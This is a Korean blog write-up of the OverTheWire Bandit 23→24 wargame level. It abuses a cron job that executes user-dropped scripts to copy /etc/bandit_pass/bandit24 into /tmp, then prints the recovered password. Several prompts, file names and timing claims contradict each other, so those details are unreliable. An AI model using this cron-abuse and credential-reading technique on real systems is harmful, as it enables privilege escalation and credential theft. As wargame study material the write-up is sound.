Post

Bandit Level 23 → Level 24

문제

https://overthewire.org/wargames/bandit/bandit24.html

목표

다음 레벨의 패스워드를 찾는다.

시간 기반 작업 스케줄러 cron에서 일정한 간격으로 프로그램이 실행된다. /etc/cron.d/ 에서 어떤 명령이 실행되고 있는지 확인해라.

풀이

1
2
3
4
5
bandit22@bandit:~$ cd /etc/cron.d/
bandit22@bandit:/etc/cron.d$ ls
cronjob_bandit15_root  cronjob_bandit22  cronjob_bandit24       e2scrub_all  sysstat
cronjob_bandit17_root  cronjob_bandit23  cronjob_bandit25_root  otw-tmp-dir
bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23

/etc/cron.d/로 이동해서 파일 목록을 확인해보니 cronjob_bandit22라는 파일이 보인다.


1
2
3
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

파일의 내용을 보니 프로그램 부팅시, 매분 매초 /usr/bin/cronjob_bandit23.sh 파일을 /dev/null로 버린다고 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

파일의 내용을 확인해보면 /var/spool/bandit24/foo에 있는 모든 스크립트들 중 소유자가 bandit23인 경우 실행하고 60초 뒤에 모든 파일을 삭제한다고 한다.


60초 안에 스크립트를 작성하기는 힘드니 새 디렉토리에 패스워드를 알아내는 스크립트를 작성한다.

1
2
3
bandit23@bandit:/etc/cron.d$ mkdir /tmp/new_dir
bandit23@bandit:/etc/cron.d$ cd /tmp/new_dir
bandit23@bandit:/tmp/new_dir$ vi Password.sh
1
2
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/Password


파일을 읽을 수 있게 권한을 추가해준 뒤 /var/spool/bandit24/foo로 파일을 복사해준다.

1
2
bandit23@bandit:/tmp/new_dir$ chmod +x Password.sh
bandit23@bandit:/tmp/new_dir$ cp Password.sh /var/spool/bandit24/foo/Password.sh


/tmp/Password에 저장된 패스워드를 확인한다.

1
2
bandit23@bandit:/tmp/new_dir$ cat /tmp/Password
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar


Password : VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

배운 것

  • 쉘 스크립트를 작성하는 방법
This post is licensed under CC BY 4.0 by the author.